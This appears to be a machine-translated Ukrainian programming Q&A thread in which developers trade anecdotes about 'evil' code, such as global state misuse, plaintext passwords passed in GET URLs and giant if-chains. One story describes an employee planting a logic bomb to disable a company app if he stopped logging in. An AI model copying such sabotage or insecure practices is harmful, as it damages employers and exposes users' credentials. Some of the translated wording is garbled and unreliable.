Можливо, хлопець був PHP-сценарієм, який kiddie змусив писати код C #.
chakrit

18

Я бачив (і розміщував на thedailywtf) код, який дасть кожному мати права адміністратора у значній частині програми по вівторках. Я думаю, оригінальний розробник забув видалити код після тестування локальної машини.


16

Я не знаю, чи це "зло" настільки помилкове (нещодавно я опублікував це у "Старій новій речі"):

Я знав одного хлопця, який любив зберігати інформацію у вигляді розділених рядків. Він був знайомий з поняттям масивів, як це було показано, коли він використовував масиви з розділеними рядками, але лампочка ніколи не горіла.


15

Кодування Base 36 для зберігання ints в рядках.

Я думаю, теорія йде дещо у напрямку:

  • Шістнадцяткове число використовується для представлення чисел
  • У шістнадцятковій літери не використовуються літери понад F, тобто GZ марно витрачаються
  • Відходи - це погано

На даний момент я працюю з базою даних, яка зберігає дні тижня, на яких може відбутися подія, як 7-бітове бітове поле (0-127), що зберігається в базі даних як двозначний рядок, починаючи з '0' до '3J'.


Ну, технічно, подання int може бути базовим рядком 256, і вони мали б однакове фактичне значення.
солінент

1
а якщо це рядок з базовим 256, що закінчується нулем?
geofftnz

3
Здається, хтось пам’ятає Протокол віддалених зображень 20 років тому. Пам'ятаєте комутовані модеми та BBS? Ну, ANSI правив ними довгий час. Але ANSI - це лише текст. Тож хтось придумав спосіб графіки: звідси і протокол віддаленого зображення. Одним із примх є те, що великі цілі числа були закодовані в основі 36.: - /
staticsan

2
Не так погано, якщо ви подолали обмеження каналу зв'язку, але в базі даних?
geofftnz

4
Кілька робочих місць назад ми використовували базу 36 для кодування номерів соціального страхування (9 цифр) у 6-значний рядок, щоб він міг поєднуватися з річною цифрою та цифрою версії, а отже, вписуватися в назву файлу у стилі DOS 8.3. Аристократи!
Jesse C. Slicer

14

Я пам’ятаю, що бачив обробник входу, який прийняв запит на публікацію та перенаправив у GET із зазначенням імені користувача та пароля як параметрів. Це стосувалося медичної системи "корпоративного класу".

Я помітив це під час перевірки деяких журналів - мене дуже спокусило надіслати генеральному директору його пароль.


2
+1 за розглянутий курс дій. = P
Кріс Купер

Я бачив це кілька місяців тому в додатку, за яким я доглядаю. Звичайно, той самий додаток також не зберігає зашифровані паролі, що бізнес визнав корисним, оскільки вони можуть повідомляти клієнтам свої паролі, коли вони їх забудуть. Багато наших клієнтів не володіють комп’ютером. З тих пір додаток було модернізовано, щоб не робити цього, але паролі все ще зберігаються у вільному доступі. Це виклик ще на один день ...
staticsan

12

Справді злим був цей шматок блискучого коду Delphi:

type
  TMyClass = class
  private
    FField : Integer;
  public
    procedure DoSomething;
  end;

var
  myclass : TMyClass;


procedure TMyClass.DoSomething;
begin
  myclass.FField := xxx; // 
end;

Це чудово працювало, якщо існував лише один екземпляр класу. Але, на жаль, мені довелося використовувати інший екземпляр, і це створило багато цікавих помилок.

Коли я знайшов цю коштовність, я не пам’ятаю, чи знепритомнів я чи кричав, мабуть, і те, і інше.


2
+1: Що? Можливо, вам доведеться пояснити, що це робить ... тобто, якщо ви знаєте.
Кент Фредрік

11
це функція-член, яка замість того, щоб змінювати стан об’єкта, до якого ви його викликаєте (як це очікував би хтось розумний), вона змінює стан єдиного глобального об’єкта. Отже, якщо ви зателефонуєте йому за іншим об’єктом, він не зробить того, що ви очікуєте.
user9876

3
+1, мені довелося його прочитати кілька разів, перш ніж зрозуміти, що з ним не так - тому він такий злий!
Едмунд

Схоже, хтось намагався реалізувати синглтон ... погано.
Джессі С. Слайсер

12

Можливо, не зло, але, звичайно, швидше, гм ... помилково.

Одного разу мені довелося переписати "синтаксичний аналізатор природних мов", який був реалізований у вигляді одного рядка 5000, якщо ... тоді твердження.

як і в...

if (text == "hello" || text == "hi")
    response = "hello";
else if (text == "goodbye")
    response = "bye";
else
    ...

11

Я бачив код на веб-сайті ASP.NET MVC від хлопця, який раніше лише робив веб-форми (і є відомим копіювачем / пастером!), Який зафіксував подію клацання на стороні клієнта на <a> тезі, який називається методом javascript, який робив документ. Місцезнаходження.

Я намагався пояснити, що a hrefна <a>тегу зробить те саме !!!


1
Це правда, але бувають випадки, коли це може бути цінним. Бувають випадки, коли на стороні клієнта грають поступове вдосконалення / витончена деградація (наприклад, посилання змінюватиметься, лише якщо ввімкнено JS)
alirobe

2
Люди, які розробляють веб-сторінки, лише перетягуючи їх на веб-форми, - це негідність.
Earlz,

10

Трохи зла ... хтось, кого я знаю, написав у головний веб-додаток внутрішньої компанії, щодня перевіряючи, чи входив він в систему за останні 10 днів. Якщо в ньому немає даних про його вхід, це відключає програму для всіх у компанії.

Він написав цей твір одного разу, коли почув чутки про звільнення, і якщо він піде вниз, компанії доведеться постраждати.

Єдина причина, через яку я про це знав, полягає в тому, що він взяв 2-тижневу відпустку, і я зателефонував йому, коли сайт вийшов із ладу. Він сказав мені увійти за допомогою свого імені користувача / пароля ... і все знову було добре.

Звичайно.. місяці пізніше ми всі були звільнені.


8

Мій колега любить згадувати той додаток ASP.NET, який використовував public staticпідключення до бази даних для всієї роботи з базою даних.

Так, одне підключення для всіх запитів. І ні, жодного замикання теж не було зроблено.


2
Я вважаю, що "кручена" логіка полягає в тому, що немає необхідності блокувати, якщо є лише одне з'єднання!
Джим Бірчалл,

1
Я майже впевнений, що зробив це, коли мені було 16 років, і навчився ASP.NET за два дні.
Джош Лі

6

Я пам’ятаю, що мені довелося налаштувати IIS 3 для запуску скриптів Perl CGI (так, це було давно). На той час офіційною рекомендацією було помістити Perl.exe у cgi-bin. Це працювало, але також давало всім доступ до досить потужного механізму сценаріїв!


ой м! Можливо, в Інтернеті все ще є сайти, на яких просто висить perl.exe.
jsbueno


5

Запити SQL прямо там, у javascript у програмі ASP. Не можу отримати брудніше ...


5

У нас була програма, яка завантажила весь її глобальний стан у файл xml. З цим немає проблем, за винятком того, що розробник створив нову форму рекурсії.

<settings>
  <property>
      <name>...</name>
      <value>...</value>
      <property>
          <name>...</name>
          <value>...</value>
          <property>
              <name>...</name>
              <value>...</value>
              <property>
                   <name>...</name>
                   <value>...</value>
                   <property>
                        <name>...</name>
                        <value>...</value>
                       <property>
                             <name>...</name>
                             <value>...</value>
                            <property>

Потім настає найцікавіша частина. Коли програма завантажується, вона проходить через список властивостей і додає їх до загального (плоского) списку разом із збільшенням лічильника таємниць. Таємничий лічильник називається абсолютно нерелевантним і використовується при розрахунках таємниць:

List properties = new List();
Node<-root
while node.hasNode("property")
    add to properties list
    my_global_variable++;
    if hasNode("property")
         node=getNode("property"), ... etc etc

І тоді ви отримуєте такі функції, як

calculateSumOfCombinations(int x, int y){
   return x+y+my_global_variable;
}

редагування: уточнення - мені знадобилося багато часу, щоб зрозуміти, що він підраховував глибину рекурсії, оскільки на рівні 6 або 7 властивості змінили значення, тому він використовував лічильник, щоб розділити свій плоский набір на 2 набори різних типів , на зразок того, як мати список ДЕРЖАВА, ДЕРЖАВА, ДЕРЖАВА, МІСТО, МІСТО, МІСТО і перевірити, чи є індекс> лічильник, щоб побачити, чи Ваше ім'я місто чи штат)


4

Замість того, щоб писати службу Windows для серверного процесу, який потрібно було постійно запускати, один з наших "архітекторів" написав консольний додаток і використовував планувальник завдань для його запуску кожні 60 секунд.

Майте на увазі, це в .NET, де послуги створювати дуже просто.

-

Крім того, там же була використана консольна програма для розміщення служби віддаленого доступу .NET, тому їм довелося запустити консольну програму та заблокувати сеанс, щоб він працював кожного разу при перезавантаженні сервера.

-

Нарешті, коли я працював, один з архітекторів мав один файл вихідного коду C # із понад 100 класами розміром приблизно 250 КБ.


Написання програми та використання планувальника завдань для її запуску - це правильний спосіб вирішити проблему синхронізації процесів. Службами Windows не можна зловживати як спосіб планування програм - це суть планувальника завдань служби Windows.
Ендрю Вір,

1
ха-ха, часу виклику не було. Службі потрібно було працювати весь час, але, мабуть, він вважав, що кожні 60 секунд було досить близько.
Дана Холт,

А, бачу. Зараз це має сенс
Ендрю Вір

Відредаговано, щоб зробити його більш зрозумілим. :)
Дана Холт

3

32 файли вихідного коду з більш ніж 10 тис. Рядків коду в кожному. Кожен містив один клас. Кожен клас містив один метод, який робив "все"

Це був справжній кошмар для налагодження цього коду, перш ніж мені довелося це переробляти.


3

На попередньому робочому місці ми успадкували застарілий проект, який частково був аутсорсованим раніше. Основним додатком була Java, а аутсорсинговою частиною була рідна бібліотека C. Одного разу я подивився вихідні файли C. Я перерахував вміст каталогу. Було кілька вихідних файлів розміром понад 200 тис. Найбільший файл C становив 600 Кбайт .

Слава Богу, мені ніколи не доводилося їх чіпати :-)


3

Мені дали набір програм для просування, поки колеги були за кордоном у замовника (установка зазначених програм). У кожній програмі з’являлася одна ключова бібліотека, і, намагаючись розібратися з кодом, я зрозумів, що існують крихітні відмінності від однієї програми до іншої. У загальній бібліотеці.

Розуміючи це, я провів текстове порівняння всіх копій. З 16, я думаю, було близько 9 унікальних. Я трохи кинувся.

Бос втрутився і попросив колег скласти версію, яка на перший погляд була універсальною. Код вони надіслали електронною поштою. Мені невідомо, що там були рядки з недрукованими символами та кілька змішаних кодувань. Електронна пошта спотворила це досить погано.

Недруковані символи використовувались для надсилання даних (усіх рядків!) Із сервера на клієнт. Таким чином, усі рядки були розділені символом 0x03 на стороні сервера та повторно зібрані на стороні клієнта в C # за допомогою функції Split.

Здоровим розумним способом було б зробити:

someVariable.Split(Convert.ToChar(0x03);

Більш розумним і доброзичливим способом було б використання константи:

private const char StringSeparator = (char)0x03;
//...
someVariable.Split(StringSeparator);

Мої колеги обрали ЗЛИЙ шлях: використайте будь-які "відбитки" для 0x03 у Visual Studio і поставте це між лапками:

someVariable.Split('/*unprintable character*/');

Крім того, у цій бібліотеці (та всіх відповідних програмах) жодна змінна не була локальною (я перевірив!). Функції були розроблені або для відновлення тих самих змінних, як тільки було визнано безпечним їх марнотратити, або для створення нових, які житимуть протягом усього процесу. Я роздрукував кілька сторінок і кольорово їх кодував. Жовтий означав "глобальний, ніколи не змінювався іншою функцією", червоний означав "глобальний, змінений кількома". Зелений був би "місцевим", але такого не було.

О, я згадав контрольну версію? Тому що, звісно, ​​такого не було.

ДОДАТИ: Я щойно згадав функцію, яку виявив не так давно.

Його метою було пройти масив масивів інтержерів та встановити для кожного першого та останнього елемента значення 0. Це проходило так (не фактичний код, з пам'яті та інший C # -esque):

FixAllArrays()
{
    for (int idx = 0; idx < arrays.count- 1; idx++)
    {
        currArray = arrays[idx];
        nextArray = arrays[idx+1];
        SetFirstToZero(currArray);
        SetLastToZero(nextArray);

        //This is where the fun starts
        if (idx == 0)
        {
            SetLastToZero(currArray);
        }

        if (idx == arrays.count- 1)
        {
            SetFirstToZero(nextArray);
        }
    }
}

Звичайно, суть полягала в тому, що кожен підмасив повинен був виконати це, обидві операції, над усіма елементами. Я просто не впевнений, як програміст може прийняти щось подібне.


2

Подібно до того, що хтось інший згадав вище:

Я працював у місці, де в додатку була мова псевдо сценаріїв. Він подався в масивний метод, який мав близько 30 параметрів і гігантаSelect Case твердження.

Настав час додати більше параметрів, але хлопець у команді, який повинен був це зробити, зрозумів, що їх вже занадто багато.

Його рішення?

Він додав сингл object кінці параметр, щоб він міг передати все, що завгодно, а потім віддати його.

Я не міг вибратися з цього місця досить швидко.


Я написав щось подібне у Flash для створення невеликої операційної системи, яка обробляє масив рядків команд. Усі рядки команд мають однаковий базовий формат "cmd_name: param1 | param2 | param3 | і т. Д.", Тому всі рядки були оброблені однією функцією з оператором switch для імені команди з приблизно 15 мітками регістру. Він був простим і простим в обслуговуванні, але сам метод мав лише пару параметрів, а не тридцять. У будь-якому випадку, я б також побіг, побачивши, як хтось зачепив об'єкт, маючи вже 30 параметрів. Це божевільно.
Трійко

2

Одного разу після того, як наші клієнтські групи повідомили про якісь дивні проблеми, ми помітили, що дві різні версії програми вказують на одну і ту ж базу даних. (під час розгортання нової системи для них їх база даних була оновлена, але всі забули зруйнувати свою стару систему)

Це було диво-втеча ..

І з тих пір у нас є автоматизований процес складання та розгортання, на щастя :-)


2

Я думаю, що це була програма, яка завантажила цикл до регістрів загального призначення pdp-10, а потім виконала код у цих регістрах.

Ви можете зробити це на pdp-10. Це не означає, що ви повинні.

РЕДАГУВАТИ: принаймні це, на мій найкращий (іноді досить пошарпаний) спогад.


2

Я мав глибоке нещастя, що брав участь у пошуку досить шаленої поведінки в напівкористувальному рішенні з високою доступністю бази даних.

Основні біти були нічим не примітні. Red Hat Enterprise Linux, MySQL, DRBD та матеріали Linux-HA. Однак конфігурація підтримувалася цілком власною лялькоподібною системою (як не дивно, є багато інших прикладів божевілля, що випливають із цієї системи).

Виявляється, система перевіряла install.log файл, який Kickstart залишає у кореневому каталозі, на частину інформації, необхідної для створення конфігурації DRBD. Це саме по собі зло, звичайно. Ви не витягуєте конфігурацію з файлу журналу, формат якого насправді не визначений. Однак стає гірше.

Він не зберігав ці дані ніде більше, і кожен раз, коли він запускався, що було кожні 60 секунд, він консультувався install.log .

Я лише дозволю вам здогадатися, що трапилося вперше, коли хтось вирішив видалити цей інакше марний файл журналу.

Використовуючи наш веб-сайт, ви визнаєте, що прочитали та зрозуміли наші Політику щодо файлів cookie та Політику конфіденційності.
Licensed under cc by-sa 3.0 with attribution required.